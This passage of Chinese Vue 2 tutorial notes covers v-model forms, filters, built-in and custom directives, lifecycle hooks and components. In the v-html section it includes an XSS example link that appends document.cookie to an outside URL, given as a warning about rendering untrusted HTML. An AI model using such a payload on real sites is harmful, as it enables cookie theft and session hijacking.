    • v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)

    • v-model的初始值是数组,那么收集的的就是value组成的数组

<!-- 准备好一个容器-->
<div id="root">
    <form @submit.prevent="demo">
        爱好:
        学习<input type="checkbox" v-model="userInfo.hobby" value="study">
        打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
        吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
        <br/><br/>
        所属校区
        <select v-model="userInfo.city">
            <option value="">请选择校区</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
            <option value="wuhan">武汉</option>
        </select>
        <br/><br/>
        其他信息:
        <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
        <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
        <button>提交</button>
    </form>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            userInfo:{
                hobby:[],
                city:'beijing',
                other:'',
                agree:''
            }
        },
        methods: {
            demo(){
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>

备注:v-model的三个修饰符:

lazy:失去焦点再收集数据

number:输入字符串转为有效的数字

trim:输入首尾空格过滤

总结

<body>
    <div id="root">
        <!--
            收集表单数据:
                    若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
                    若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
                    若:<input type="checkbox"/>
                            1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
                            2.配置input的value属性:
                                    (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
                                    (2)v-model的初始值是数组,那么收集的的就是value组成的数组
                    备注:v-model的三个修饰符:
                                    lazy:失去焦点再收集数据
                                    number:输入字符串转为有效的数字
                                    trim:输入首尾空格过滤
        -->
        <form @submit.prevent="demo">
            <!--写了label则点击它也能使指定的input获取焦点 for属性的值为指定元素的id-->
            <label for="demo">账号:</label>
            <!--v-model主要用来双向绑定输入类表单value值-->
            <!-- .trim去掉空格 -->
            <input type="text" id="demo" v-model.trim="userInfo.account" />
            <br />
            密码: <input type="password" v-model="userInfo.password" />
            <br />
            性别:
            <!--一组radio单选框的name值一定要相同 设置value值好让v-model去双向绑定-->
            男:<input type="radio" v-model="userInfo.sex" name="sex" value="male" />
            女:<input type="radio" v-model="userInfo.sex" name="sex" value="female" />
            <br />
            <!-- 第一个number是input框强制只能输入数字,v-model.number是vue后台接受数字 -->
            年龄: <input type="number" v-model.number="userInfo.age" />
            <br />
            爱好:
            <!--如果没有value值则v-model收集checked元素-->
            学习 <input v-model="userInfo.hobby" type="checkbox" value="study" />
            打游戏 <input v-model="userInfo.hobby" type="checkbox" value="game" />
            吃饭 <input v-model="userInfo.hobby" type="checkbox" value="eat" />
            <br />
            所属校区
            <select v-model="userInfo.city">
                <option value="">请选择校区</option>
                <option value="Beijing">北京</option>
                <option value="Shanghai">上海</option>
                <option value="Shenzhen">深圳</option>
                <option value="Wuhan">武汉</option>
            </select>
            <br />
            <!-- .lazy是失去焦点是,vue接受input框内的数据 -->
            其他信息<textarea v-model.lazy="userInfo.other"></textarea>
            <br />
            <input type="checkbox" v-model="userInfo.ifAgree" />阅读并接受<a href="https://www.google.com.tw">《用户协议》</a>
            <button>提交数据</button>
        </form>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        const vm = new Vue({
            el: '#root',
            data: {
                userInfo: {
                    account: '',
                    password: '',
                    sex: 'male',
                    age: '',
                    hobby: [],
                    city: '',
                    other: '',
                    ifAgree: ''
                }
            },
            methods: {
                demo() {
                    //json转换为string
                    console.log(JSON.stringify(this.userInfo));
                }
            }
        })
    </script>
</body>

1.16 过滤器(非重点)

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

语法:

  • 注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}

  • 使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"

<body>
    <div id="root">
        <!--
            过滤器:
                定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
                语法:
                        1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
                        2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
                备注:
                        1.过滤器也可以接收额外参数、多个过滤器也可以串联
                        2.并没有改变原本的数据, 是产生新的对应的数据
     -->
        <h1>显示格式化后的时间</h1>
        <!--计算属性实现-->
        <h2>现在是:{{ fmtTime }}</h2>
        <!--methods实现-->
        <h2>现在是{{ getFmtTime() }}</h2>
        <!--过滤器实现-->
        <h2>现在是:{{ time | timeFormater }}</h2>
        <!--过滤器也可以传递参数-->
        <h2>现在是:{{ time | timeFormater('YYYY-MM-DD') | mySlice }}</h2>
        <h3 :x="msg | mySlice">你好,世界</h3>
    </div>
    <div id="root2">
        <h2>{{ msg | mySlice }}</h2>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //全局过滤器的配置
        //注意配置一定要new vue实例之前确定
        Vue.filter('mySlice', function (val) {
            return val.slice(0, 4);
        });
        new Vue({
            el: "#root",
            data: {
                time: 1631808423062,
                msg: "你好,世界"
            },
            computed: {
                fmtTime() {
                    return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
                }
            },
            methods: {
                getFmtTime() {
                    return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
                }
            },
            //局部过滤器
            filters: {
                //过滤器本质上也是一个函数
                timeFormater(val, formate = 'YYYY-MM-DD HH:mm:ss') {
                    return dayjs(val).format(formate)
                },
            }
        });

        const vm2 = new Vue({
            el: "#root2",
            data: {
                msg: 'welcome'
            }
        })
    </script>
</body>

备注:

1.过滤器也可以接收额外参数、多个过滤器也可以串联

2.并没有改变原本的数据, 是产生新的对应的数据

1.17 内置指令

v-text指令:(使用的比较少)

1.作用:向其所在的节点中渲染文本内容。

2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

<body>
    <!--
   我们学过的指令:
                        v-bind    : 单向绑定解析表达式, 可简写为 :xxx
                        v-model    : 双向数据绑定
                        v-for      : 遍历数组/对象/字符串
                        v-on       : 绑定事件监听, 可简写为@
                        v-if     : 条件渲染(动态控制节点是否存存在)
                        v-else     : 条件渲染(动态控制节点是否存存在)
                        v-show     : 条件渲染 (动态控制节点是否展示)
   v-text指令:
                        1.作用:向其所在的节点中渲染文本内容。 (纯文本渲染)
                        2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。这里有点不太灵活

-->
    <div id="root">
        {{ name }}
        <div v-text="name"></div>
        <div v-text="str"></div>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;   // 阻止vue在启动时生成生产提示
        new Vue({
            el: '#root',
            data: {
                name: '上海',
                //注意v-text不会解析标签,而是直接将标签当纯文本解析
                str: '<h1>hello, shanghai</h1>'
            }
        })
    </script>
</body>

v-html指令:(使用的很少)

1.作用:向指定节点中渲染包含html结构的内容。

2.与插值语法的区别:

  • v-html会替换掉节点中所有的内容,{{xx}}则不会。

  • v-html可以识别html结构。

3.严重注意:v-html有安全性问题!!!!

  • 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

  • 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

 

<body>
    <div id="root">
        <!--
                v-html指令:
                        1.作用:向指定节点中渲染包含html结构的内容。
                        2.与插值语法的区别:
                                    (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
                                    (2).v-html可以识别html结构。
                        3.严重注意:v-html有安全性问题!!!!
                                    (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
                                    (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
        -->
        <div v-text="name"></div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        new Vue({
            el: "#root",
            data: {
                name: '上海',
                //注意v-html会解析标签,这点与v-text不一样
                str: '<h1>hello, shanghai</h1>',
                //危险行为 永远不要相信用户的输入,document.cookie获取该网站的cookie键值对
                str2: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>找到资源了兄弟</a>'
            }
        })
    </script>
</body>

v-cloak指令(没有值):

  • 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。

  • 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<body>
    <!--
        v-cloak指令(没有值):
                1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
                2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
-->
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>

<script type="text/javascript">
    console.log(1)
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷'
        }
    })
</script>

v-once指令:(用的少)

  • v-once所在节点在初次动态渲染后,就视为静态内容了。

  • 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<div id="root">
    <!--v-once-->
    <!--
            v-once指令:
                        1.v-once所在节点在初次动态渲染后,就视为静态内容了。
                        2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
    -->
    <h2 v-once>初始化n的值为:{{ n }}</h2>
    <h2>当前的n值为:{{ n }}</h2>
    <button @click="n++">带我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el:"#root",
        data:{
           n:1
        }
    })
</script>

v-pre指令:(比较没用)

  • 跳过其所在节点的编译过程

  • 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译

<div id="root">
    <!--
            v-pre指令:
                    1.跳过其所在节点的编译过程。
                    2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
    -->
    <h2 v-pre>Vue其实很简单</h2>
    <h2>当前的n值为:{{ n }}</h2>
    <button @click="n++">带我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el:"#root",
        data:{
           n:1
        }
    })
</script>

1.18 自定义指令

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。

语法:

局部指令:

directives: {
  focus: {
    // 指令的定义
    inserted: function (el) {
      el.focus()
    }
  }
}

全局指令:

<script>
    // 注册一个全局自定义指令 `v-focus`
    Vue.directive('focus', {
        // 当被绑定的元素插入到 DOM 中时……
        inserted: function (el) {
            // 聚焦元素
            el.focus()
        }
    })
</script>

配置对象中常用的3个回调:

  • bind:指令与元素成功绑定时调用。

  • inserted:指令所在元素被插入页面时调用。

  • update:指令所在模板结构被重新解析时调用。

理解这三个的调用时机,需要进一步了解 vue 的生命周期,下面会介绍。

定义全局指令

<!-- 准备好一个容器-->
<div id="root">
    <input type="text" v-fbind:value="n">
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    //定义全局指令
    Vue.directive('fbind', {
        // 指令与元素成功绑定时(一上来)
        bind(element, binding){
            element.value = binding.value
        },
        // 指令所在元素被插入页面时
        inserted(element, binding){
            element.focus()
        },
        // 指令所在的模板被重新解析时
        update(element, binding){
            element.value = binding.value
        }
    })
    
    new Vue({
        el:'#root',
        data:{
            name: '尚硅谷',
            n: 1
        }
    })

</script>

局部指令:

new Vue({
    el: '#root',
    data: {
        name:'尚硅谷',
        n:1
    },
    directives: {
        // big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
        /* 'big-number'(element,binding){
                    // console.log('big')
                    element.innerText = binding.value * 10
                }, */
        big (element,binding){
            console.log('big',this) //注意此处的this是window
            // console.log('big')
            element.innerText = binding.value * 10
        },
        fbind: {
            //指令与元素成功绑定时(一上来)
            bind (element,binding){
                element.value = binding.value
            },
            //指令所在元素被插入页面时
            inserted (element,binding){
                element.focus()
            },
            //指令所在的模板被重新解析时
            update (element,binding){
                element.value = binding.value
            }
        }
    }
})

总结:

<body>
    <!--
   需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
   需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
   自定义指令总结:
            一、定义语法:
                        (1).局部指令:
                            new Vue({directives:{指令名:配置对象} })   或  new Vue({directives: {指令名:回调函数}})
                        (2).全局指令:
                            Vue.directive(指令名,配置对象) 或  Vue.directive(指令名,回调函数)

            二、配置对象中常用的3个回调:
                        (1).bind:指令与元素成功绑定时调用。
                        (2).inserted:指令所在元素被插入页面时调用。
                        (3).update:指令所在模板结构被重新解析时调用。

            三、备注:
                         1.指令定义时不加v-,但使用时要加v-2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase(驼峰)命名。
-->
    <!--
  下面的这是模版,要经过vue的解析才能放到页面中,dom树里
-->
    <div id="root">
        <h2>当前的n值是:<span v-text="n"></span></h2>
        <!--    <h2>放大10倍后的n值是: <span v-big-number="n"></span></h2>-->
        <h2>放大10倍后的n值是: <span v-big="n"></span></h2>
        <button @click="n++">点我n+1</button>
        <p>测试指令函数所调用的时机: {{ name }} </p>
        <hr />
        <input type="text" v-fbind:value="n" />
    </div>
    <div id="root2">
        <input type="text" v-fbind:value="x" />
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        //此时自定义fbind指令使全局指令了,其他vue实例所管理的容器也可以使用
        //全局指令
        Vue.directive('fbind', {
            // 指令与元素成功绑定时(一上来)
            bind(el, binding) {
                // console.log('bind')
                el.value = binding.value;
            },
            //指令被插入页面时
            inserted(el, binding) {
                // console.log('inserted')
                el.focus();
            },
            //指令所在模版被重新解析时
            update(el, binding) {
                // console.log('update');
                el.value = binding.value;
            }
        })
        const vm = new Vue({
            el: "#root",
            data: {
                name: '上海',
                n: 1
            },
            //定义指令的配置项: directives
            directives: {
                /**
                 big函数的调用时机:
                        1.指令与元素成功绑定(但注意此时dom元素还没有成功的被弄到页面上去)时会被调用 (首次,类似于dom元素一加载)
                        2.指令所在的模版被重新解析时会被再次调用
                **/
                //两种写法:1.对象(key-value) ,有-的情况,需要引号2.函数
                // 'big-number'(el,binding){
                //     console.log('big被调用啦!')
                //     //收到两个参数,第一个参数代表真实dom元素,第二个参数是绑定对象,关注该绑定对象中的value属性
                //     // console.log(el,binding);
                //     //原生dom的操作
                //     el.innerText = binding.value * 10;
                // },
                big(el, binding) {
                    console.log(this); //注意此处this===window vue实例对象此时'不管'你写在指令里面的函数了
                    console.log('big被调用啦!')
                    //收到两个参数,第一个参数代表真实dom元素,第二个参数是绑定对象,关注该绑定对象中的value属性
                    // console.log(el,binding);
                    //原生dom的操作
                    el.innerText = binding.value * 10;
                },
                //自定义fbind绑定
                //换成对象写法 对比函数简写方式其实只是多了 inserted钩子
                // fbind:{
                //     //指令与元素成功绑定
                //     // bind(el, binding){
                //     //     // console.log('bind')
                //     //     el.value = binding.value;
                //     // },
                //     // //指令被插入页面时
                //     // inserted(el, binding){
                //     //     // console.log('inserted')
                //     //     el.focus();
                //     // },
                //     // //指令所在模版被重新解析时
                //     // update(el, binding){
                //     //     // console.log('update');
                //     //     el.value = binding.value;
                //     // }
                // }
            }
        });

        const vm2 = new Vue({
            el: '#root2',
            data: {
                x: 1,
            }
        })
    </script>
</body>

1.19 生命周期

简介生命周期

Vue 实例有⼀个完整的⽣命周期,也就是从new Vue()、初始化事件(.once事件)和生命周期、编译模版、挂载Dom -> 渲染、更新 -> 渲染、卸载 等⼀系列过程,称这是Vue的⽣命周期。

先来一张尚硅谷的图:

  1. beforeCreate(创建前):数据监测(getter和setter)和初始化事件还未开始,此时 data 的响应式追踪、event/watcher 都还没有被设置,也就是说不能访问到data、computed、watch、methods上的方法和数据。

  2. created(创建后):实例创建完成,实例上配置的 options 包括 data、computed、watch、methods 等都配置完成,但是此时渲染得节点还未挂载到 DOM,所以不能访问到 $el属性。

  3. beforeMount(挂载前):在挂载开始之前被调用,相关的render函数首次被调用。此阶段Vue开始解析模板,生成虚拟DOM存在内存中,还没有把虚拟DOM转换成真实DOM,插入页面中。所以网页不能显示解析好的内容。

  4. mounted(挂载后):在el被新创建的 vm.$el(就是真实DOM的拷贝)替换,并挂载到实例上去之后调用(将内存中的虚拟DOM转为真实DOM,真实DOM插入页面)。此时页面中呈现的是经过Vue编译的DOM,这时在这个钩子函数中对DOM的操作可以有效,但要尽量避免。一般在这个阶段进行:开启定时器,发送网络请求,订阅消息,绑定自定义事件等等

  5. beforeUpdate(更新前):响应式数据更新时调用,此时虽然响应式数据更新了,但是对应的真实 DOM 还没有被渲染(数据是新的,但页面是旧的,页面和数据没保持同步呢)。

  6. updated(更新后) :在由于数据更改导致的虚拟DOM重新渲染和打补丁之后调用。此时 DOM 已经根据响应式数据的变化更新了。调用时,组件 DOM已经更新,所以可以执行依赖于DOM的操作。然而在大多数情况下,应该避免在此期间更改状态,因为这可能会导致更新无限循环。该钩子在服务器端渲染期间不被调用。

  7. beforeDestroy(销毁前):实例销毁之前调用。这一步,实例仍然完全可用,this 仍能获取到实例。在这个阶段一般进行关闭定时器,取消订阅消息,解绑自定义事件。

  8. destroyed(销毁后):实例销毁后调用,调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。该钩子在服务端渲染期间不被调用。

 

来讲一下图中间大框框的内容

 

先判断有没有 el 这个配置项,没有就调用 vm.$mount(el),如果两个都没有就一直卡着,显示的界面就是最原始的容器的界面。

el 这个配置项,就进行判断有没有 template 这个配置项,没有 template 就将 el 绑定的容器编译为 vue 模板,来个对比图。

没编译前的:

编译后:

这个 template 有啥用咧?

第一种情况,有 template:

如果 el 绑定的容器没有任何内容,就一个空壳子,但在 Vue 实例中写了 template,就会编译解析这个 template 里的内容,生成虚拟 DOM,最后将 虚拟 DOM 转为 真实 DOM 插入页面(其实就可以理解为 template 替代了 el 绑定的容器的内容)。

第二种情况,没有 template:

没有 template,就编译解析 el 绑定的容器,生成虚拟 DOM,后面就顺着生命周期执行下去。

总结:

<div id="root">
    <!--
            常用的生命周期钩子:
                1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
                2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

            关于销毁Vue实例
                1.销毁后借助Vue开发者工具看不到任何信息。
                2.销毁后自定义事件会失效,但原生DOM事件依然有效。(click之类的原生事件依然会被调用)
                3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
    -->
    <!--v-bind绑定-->
    <h1 :style="{opacity}">欢迎学习vue</h1>
    <button @click="stop">停止变换</button>
    <button @click="opacity = 1">透明度设置为1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el:"#root",
        data:{
            opacity: 1,
        },
        methods:{
            stop() {
                //只是清除了定时器,响应式仍然存在
                // clearInterval(this.timer);
                //暴力杀
                this.$destroy();
            }
        },

        //mounted
        //vue完成模版的解析并把初始的真实的dom元素挂载完毕就调用mounted函数
        //只调用一次
        mounted(){
            //关键性时刻调用对应的函数 生命周期
            console.log('mounted');
            this.timer = setInterval(() => {
                console.log('inter')
                //剪头函数没有this会从外部作用域寻找 mounted是由vue管理的函数,所以该函数中的this是vm(vue实例对象)
                this.opacity -= 0.01;
                if(this.opacity <= 0) this.opacity = 1;
            },16);
        },

        beforeDestroy() {
            console.log('vm要没了')
            clearInterval(this.timer);
        }
    });

</script>

1.20 非单文件组件

基本使用

Vue中使用组件的三大步骤:

  • 定义组件(创建组件)

  • 注册组件

  • 使用组件(写组件标签)

 

定义组件

使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;

区别如下:

  • el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。

  • data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。

讲解一下面试小问题:data必须写成函数:

这是 js 底层设计的原因:举个例子

对象形式

let data = {
    a: 99,
    b: 100
}

let x = data;
let y = data;
// x 和 y 引用的都是同一个对象,修改 x 的值, y 的值也会改变
x.a = 66;
console.loh(x); // a:66 b:100
console.log(y); // a:66 b:100

函数形式

function data() {
    return {
        a: 99,
        b: 100
    }
}
let x = data();
let y = data();
console.log(x === y); // false
// 我的理解是函数每调用一次就创建一个新的对象返回给他们

备注:使用template可以配置组件结构。

创建一个组件案例:Vue.extend() 创建

<script type="text/javascript">
    Vue.config.productionTip = false

    //第一步:创建school组件
    const school = Vue.extend({
        template:`
                <div class="demo">
                    <h2>学校名称:{{schoolName}}</h2>
                    <h2>学校地址:{{address}}</h2>
                    <button @click="showName">点我提示学校名</button>    
    </div>
            `,
        // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
        data(){
            return {
                schoolName:'尚硅谷',
                address:'北京昌平'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    })

    //第一步:创建student组件
    const student = Vue.extend({
        template:`
                <div>
                    <h2>学生姓名:{{studentName}}</h2>
                    <h2>学生年龄:{{age}}</h2>
    </div>
            `,
        data(){
            return {
                studentName:'张三',
                age:18
            }
        }
    })

    //第一步:创建hello组件
    const hello = Vue.extend({
        template:`
                <div>    
                    <h2>你好啊!{{name}}</h2>
    </div>
            `,
        data(){
            return {
                name:'Tom'
            }
        }
    })
</script>

注册组件

  • 局部注册:靠new Vue的时候传入components选项

  • 全局注册:靠Vue.component('组件名',组件)

局部注册

<script>
    //创建vm
    new Vue({
        el: '#root',
        data: {
            msg:'你好啊!'
        },
        //第二步:注册组件(局部注册)
        components: {
            school: school,
            student: student
            // ES6简写形式
            // school,
            // student
        }
    })
</script>

全局注册

<script>
    //第二步:全局注册组件
    Vue.component('hello', hello)
</script>

写组件标签

<!-- 准备好一个容器-->
<div id="root">
    <hello></hello>
    <hr>
    <h1>{{msg}}</h1>
    <hr>
    <!-- 第三步:编写组件标签 -->
    <school></school>
    <hr>
    <!-- 第三步:编写组件标签 -->
    <student></student>
</div>

总结:

<body>
    <!--
            Vue中使用组件的三大步骤:
                    一、定义组件(创建组件)
                    二、注册组件
                    三、使用组件(写组件标签)

            一、如何定义一个组件?
                        使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
                        区别如下:
                                1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
                                2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
                        备注:使用template可以配置组件结构。

            二、如何注册组件?
                            1.局部注册:靠new Vue的时候传入components选项
                            2.全局注册:靠Vue.component('组件名',组件)

            三、编写组件标签:
                            <school></school>
-->
    <div id="root">
        <h1>
            {{ msg }}
        </h1>
        <hello></hello>
        <!--第三步:使用组件-->
        <school></school>
        <hr />
        <student></student>
        <hr />
    </div>
    <div id="root2">
        <h2>root2容器</h2>
        <hello></hello>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;

        //全部注册

        /**
         * 想用组件的三个步骤
         * 1.创建组件
         * 2.注册组件
         * 3.使用组件
         */
        //第一步:创建school组件
        const school = Vue.extend({
            template: `
              <div>
              <h2>学校名称:{{ schoolName }}</h2>
              <h2>学校地址:{{ address }}</h2>
              <button @click="showName">点我提示学校名</button>
              </div>
            `,
            //组件定义不要写el配置项,因为最终所有的组件都要被vm所管理,由vm决定服务于哪个容器
            //这里data必须写成函数形式 避免多次使用组件导致共用data对象导致一个问题
            data() {
                //注意这里不要写箭头函数
                return {
                    schoolName: '武汉科技大学',
                    address: '武汉',
                }
            },
            methods: {
                showName() {
                    alert(this.schoolName)
                }
            }
        })
        //创建school组件
        const student = Vue.extend({
            template: `
            <div>
              <h2>学生名字:{{ studentName }}</h2>
              <h2>学生年龄:{{ age }}</h2>
            </div>
        `,
            data() {
                return {
                    studentName: 'Jone',
                    age: 18
                }
            }
        });


        const hello = Vue.extend({
            template: `
          <div>
            <h2>你好世界,{{ name }}</h2>
          </div>
        `,
            data() {
                return {
                    name: 'panyue'
                }
            }
        });

        // 第二步:注册组件(全局注册)
        Vue.component('hello', hello); //全局注册hello 就代表所有的vm都可以用hello组件了

        // 创建vm
        new Vue({
            el: "#root",
            //配置组件(局部注册)
            data: {
                msg: 'hello world'
            },
            // 第二步:注册组件(局部注册)
            components: {
                school,
                student
            },
        })

        new Vue({
            el: '#root2',
        });

    </script>
</body>

几个注意点:

关于组件名:

一个单词组成:

  • 第一种写法(首字母小写):school

  • 第二种写法(首字母大写):School

多个单词组成:

  • 第一种写法(kebab-case命名):my-school

  • 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)

备注:

(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。

(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

关于组件标签:

第一种写法:<school></school>

第二种写法:<school/>

备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

一个简写方式:

const school = Vue.extend(options) 可简写为:const school = options

代码演示:

<body>
    <div id="root">
        <!--
            几个注意点:
                    1.关于组件名:
                                一个单词组成:
                                            第一种写法(首字母小写):school
                                            第二种写法(首字母大写):School
                                多个单词组成:
                                            第一种写法(kebab-case命名):my-school
                                            第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
                                备注:
                                        (1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
                                        (2).可以使用name配置项指定组件在开发者工具中呈现的名字。

                    2.关于组件标签:
                                第一种写法:<school></school>
                                第二种写法:<school/>
                                备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

                    3.一个简写方式:
                                const school = Vue.extend(options) 可简写为:const school = options
        -->
        <h1>{{ msg }}</h1>
        <hello></hello>
        <!--    <school/>-->
        <!--    <school/>-->
        <!--    <school/>-->
        <!-- 第三步:编写组件标签 -->
        <school></school>
        <school></school>
        <school></school>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;

        // 第一步:创建组件
        const s = Vue.extend({
            // el:'#root',// 组件定义时,一定不要写el配置,因为最终所有的组件都要被一个vm管理,由vm决定服务谁
            template: `
          <div>
            <h2>学校名称:{{ name }}</h2>
            <h2>学校地址:{{ address }}</h2>
          </div>
        `,
            data() {
                return {
                    name: '武汉科技大学',
                    address: '武汉'
                }
            },
            name: 'test' //该配置是指定组件在开发者工具中指定的名称
        });

        //创建组件的简写 (不需要vue.extend)
        const hello = {
            template: `
          <div>
            <h1>{{ msg }}</h1>
         </div>
        `,
            data() {
                return {
                    msg: "hello"
                }
            }
        }

        // 第二步:全局注册组件
        Vue.component('hello', hello)

        new Vue({
            el: "#root",
            data: {
                msg: '欢迎学习vue'
            },
            // 第二步:注册组件(局部注册)
            components: {
                school: s,
                hello
            }
        })
    </script>
</body>

组件的嵌套

比较简单,直接展示代码:

<body>
    <div id="root" :x="x">
        <!--组件的嵌套-->
        <!--    <school>-->
        <!--    </school>-->
        <!--    <hello></hello>-->
        <!--    <app></app>-->
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;

        const student = Vue.extend({
            template: `
           <div>
              <h2>学生姓名:{{ name }}</h2>
              <h2>学生年龄:{{ age }}</h2>

           </div>
        `,
            data() {
                return {
                    name: 'JONE',
                    age: 13
                }
            },
        });

        // 定义shcool组件
        const school = Vue.extend({
            template: `
          <div>
             <h1>学校名称:{{ name }}</h1>
             <h1>学校地址:{{ address }}</h1>
             <!--子组件注册给哪个父组件,就嵌套在哪个副组件里面--->
             <student></student>
          </div>
        `,

            data() {
                return {
                    name: '武汉科技大学',
                    address: '武汉'
                }
            },

            //组件嵌套
            //这里也是局部注册组件
            components: {
                student
            }
        });


        const hello = Vue.extend({
            template: `<h1>{{ msg }}</h1>`,
            data() {
                return {
                    msg: 'hello, my vue world',
                }
            },
        });


        const app = Vue.extend({
            template: `<div>
            <school></school>
            <hello></hello>
          </div>`,
            components: {
                school,
                hello
            }
        });

        new Vue({
            template: `<app></app>`,
            el: "#root",
            //注册组件(局部)
            components: {
                // //schoo组件与hello组件平级
                // school,
                // hello
                app,
            },
            data: {
                x: 1,
            }
        });


    </script>
</body>

VueComponent

  • school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

  • 我们只需要写<school/><school></school>,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)。

  • 特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!(这个VueComponent可不是实例对象)

  • 关于this指向:

    • 组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。

    • new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

  • VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。Vue的实例对象,以后简称vm。

Vue 在哪管理 VueComponent

代码演示:

<body>
<!--
            关于VueComponent:
                        1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

                        2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,
                            即Vue帮我们执行的:new VueComponent(options)。

                        3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!注意这一点很重要

                        4.关于this指向:
                                (1).组件配置中:
                                            data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
                                (2).new Vue(options)配置中:
                                            data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

                        5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
